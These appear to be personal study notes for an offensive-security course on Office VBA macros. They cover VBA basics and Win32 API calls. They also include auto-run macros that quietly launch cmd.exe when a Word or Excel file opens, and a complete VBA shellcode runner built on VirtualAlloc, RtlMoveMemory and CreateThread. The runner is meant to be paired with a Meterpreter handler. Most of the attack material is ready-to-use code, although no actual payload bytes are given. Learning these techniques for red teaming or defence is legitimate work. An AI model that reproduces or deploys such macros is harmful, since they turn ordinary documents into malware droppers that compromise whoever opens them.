Dim myString As String
Dim myLong As Long
Dim myPointer As LongPtr- Dim to declare a variable
- Then the variable name
- then the datatype
String -⇒ Unicode String
Long-⇒ 64 bit Integer
LongPtr-⇒ Memory Pointer
Looping
IF_ELSE
Sub MyMacro()
Dim myLong As Long
myLong = 1
If myLong < 5 Then
MsgBox ("True")
Else MsgBox ("False")
End If
End SubFor
Show alertbox three times
Sub MyMacro()
For counter = 1 To 3
MsgBox ("Alert")
Next counter
End SubAuto run the macro
Sub Document_Open()
MyMacro
End Sub
Sub AutoOpen()
MyMacro
End Sub
Sub MyMacro()
MsgBox ("This is a macro test")
End SubBoth Document_Open() and AutoOpen() autoruns the macro when the document is opned.
The document should be in .doc or .docm externision.
Two ways to execute command
Using Shell
Sub Document_Open()
MyMacro
End Sub
Sub AutoOpen()
MyMacro
End Sub
Sub MyMacro()
Dim str As String
str = "cmd.exe"
Shell str, vbHide
End SubUsing Windows Script Host
Sub Document_Open()
MyMacro
End Sub
Sub AutoOpen()
MyMacro
End Sub
Sub MyMacro()
Dim str As String
str = "cmd.exe"
CreateObject("Wscript.Shell").Run str, 0
End Sub
Exercise 1
- Experiment with VBA programming basics by creating a small macro that prints the current username and computer name 5 times using the Environ$ function.
Sub Document_Open()
MyMacro
End Sub
Sub AutoOpen()
MyMacro
End Sub
Sub MyMacro()
Dim i As Integer
For i = 1 To 5
' Print the current username and computer name
MsgBox "Username: " & Environ$("USERNAME") & vbCrLf & "Computer Name: " & Environ$("COMPUTERNAME")
Next i
End Sub
Exercise 2
In microsoft Excel
Sub Workbook_Open()
MyMacro
End Sub
Sub MyMacro()
Dim str As String
str = "notepad.exe"
Shell str, vbHide
End Sub
WinAPI with VBA
BOOL GetUserNameA( LPSTR lpBuffer, LPDWORD pcbBuffer );
The first argument is an output buffer of C type LPSTR which will contain the current username. It can be supplied as a String in VBA. In C, the LPSTR is a pointer to a string. Similarly, the VBA String object holds the pointer to a string, rather than the string itself. For this reason we can pass our argument by value (with ByVal5), since the expected types match.
The second argument (pcbBuffer) given in the function prototype as a C type is a pointer or reference to an DWORD (LPDWORD). It is the maximum size of the buffer that will contain the string. We may substitute that with the VBA Long data type and pass it by reference (ByRef6) to obtain a pointer in VBA. Finally, the output type in C is a boolean (BOOL GetUserNameA), which we can translate into a Long in VBA.
Private Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, ByRef nSize As Long) As Long
With the function imported, we must declare three variables; the return value, the output buffer, and the size of the output buffer. As specified on MSDN, the maximum allowed length of a username is 256 characters so we’ll create a 256-byte String called MyBuff and a variable called MySize as a Long and set it to 256.
Function MyMacro()
Dim res As Long
Dim MyBuff As String * 256
Dim MySize As Long
MySize = 256
res = GetUserName(MyBuff, MySize)
End Function
Before we can print the result, recall that MyBuff can contain up to 256 characters but we do not know the length of the actual username. Since a C string is terminated by a null byte, we’ll use the InStr7 function to get the index of a null byte terminator in the buffer, which marks the end of the string.
As shown in Listing 36, the arguments for InStr are fairly straightforward. We defined the starting location (setting it to “1” for the beginning of the string), the string to search, and the search character (null byte). This will return the location of the first null byte, and we can subtract one from this number to get the string length.
Private Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, ByRef nSize As Long) As Long
Function MyMacro()
Dim res As Long
Dim MyBuff As String * 256
Dim MySize As Long
Dim strlen As Long
MySize = 256
res = GetUserName(MyBuff, MySize)
strlen = InStr(1, MyBuff, vbNullChar) - 1
MsgBox Left$(MyBuff, strlen)
End FunctionNow that we have the length of the string, we will print the non-null characters by using the Left8 method as shown in the last highlighted line of Listing 36. Left creates a substring of its first argument with the size of its second argument.
Exercise MessageBoxA with GetUserName
int MessageBoxA(
[in, optional] HWND hWnd,
[in, optional] LPCSTR lpText,
[in, optional] LPCSTR lpCaption,
[in] UINT uType );
- Import the Win32 MessageBoxA9 API and call it using VBA.
Private Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, ByRef nSize As Long) As Long
Private Declare Function MessageBoxA Lib "user32.dll" (ByVal hwnd As Long, ByVal lptext As String, ByVal lpCaption As String, ByVal uType As Long) As Long
Function MyMacro()
Dim res As Long
Dim MyBuff As String * 256
Dim MySize As Long
Dim username As String
Dim strlen As Long
MySize = 256
res = GetUserName(MyBuff, MySize)
strlen = InStr(1, MyBuff, vbNullChar) - 1
username = Left$(MyBuff, strlen)
MessageBoxA 0, "User Name " & username, "GetUsername Result", 0
End FunctionVBA Shellcode Runner
Key Components:
-
Shellcode Execution Overview:
- Execute shellcode in memory using VBA.
- Utilize three Win32 APIs: VirtualAlloc, RtlMoveMemory, and CreateThread in Kernel32.dll.
-
VirtualAlloc API:
- Allocate memory:
- Prototype:
LPVOID VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect).
- Prototype:
- Allocate memory:
Arguments:
-
lpAddress: The starting address of the region of memory to allocate. If set to 0, the system determines the address. -
dwSize: The size of the allocation in bytes. -
flAllocationType: The type of memory allocation. Use &H3000 for MEM_COMMIT and MEM_RESERVE. -
flProtect: The memory protection for the region of pages to be allocated. Use &H40 for PAGE_EXECUTE_READWRITE.-
Declare statement:
Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
-
-
RtlMoveMemory API:
- Copy memory:
- Prototype:
VOID RtlMoveMemory(VOID UNALIGNED *Destination, VOID UNALIGNED *Source, SIZE_T Length).
- Prototype:
- Copy memory:
Arguments:
-
Destination: A pointer to the starting address of the destination memory block. -
Source: A pointer to the starting address of the source memory block. -
Length: The number of bytes to copy.-
Declare statement:
Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr
-
-
CreateThread API:
- Create a new execution thread:
- Prototype:
HANDLE CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId).
- Prototype:
- Create a new execution thread:
-
lpThreadAttributes: A pointer to aSECURITY_ATTRIBUTESstructure that determines whether the returned handle can be inherited by child processes. -
dwStackSize: The initial size of the stack, in bytes. -
lpStartAddress: A pointer to the application-defined function to be executed by the thread. -
lpParameter: A pointer to a variable to be passed to the thread function. -
dwCreationFlags: Flags that control the creation of the thread. -
lpThreadId: A pointer to a variable that receives the thread identifier.-
Declare statement:
Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr
-
Shellcode Execution Process:
-
Allocate Memory:
addr = VirtualAlloc(0, UBound(buf), &H3000, &H40) -
Copy Shellcode:
For counter = LBound(buf) To UBound(buf) data = buf(counter) res = RtlMoveMemory(addr + counter, data, 1) Next counter -
Execute Shellcode:
res = CreateThread(0, 0, addr, 0, 0, 0)
Usage:
- Add shellcode to the
bufarray. - Execute the
MyMacrofunction on opening the document. - Use a matching Meterpreter handler with EXITFUNC set to “thread” and matching IP and port.